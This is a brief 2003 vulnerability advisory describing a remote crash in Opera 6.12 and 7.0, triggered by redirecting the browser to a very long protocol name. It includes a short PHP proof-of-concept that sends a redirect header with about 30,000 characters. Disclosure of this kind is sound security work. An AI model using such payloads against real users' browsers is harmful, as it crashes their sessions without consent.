Opera version 7.0 and 6.12 is vulnerable to a buffer overflow that results in a crash when redirected with a long URL.
9ba3231d475b450b82ab4bcb3dac5dbc752e08e1814ab64a42481436815ecd0d
Opera 6.12 - 7.0 remote crash
date: 26-07-2003
author: dodo [dodo@darkwired.org]
author-url: https://www.darkwired.org/
- Description:
Opera (the webbrowser: www.opera.com) can be crashed by redirecting the current location to a long protocol.
Resulting in an opera crash and evantually the crash of the entire Xfree86 session.
- Exploitation / Proof of concept:
PHP script:
<?php
for($i=0; 20000+10000>$i; $i++) $prot.="A";
header("Location: $prot://dd");
?>
I suppose u could use some javascript too
- Target:
This is tested with Opera 6.12 & Opera 7.0 on Slackware Linux 9.0 [2.4.20]
https://www.darkwired.org/
thanks to tsunami, wich was the first victim :P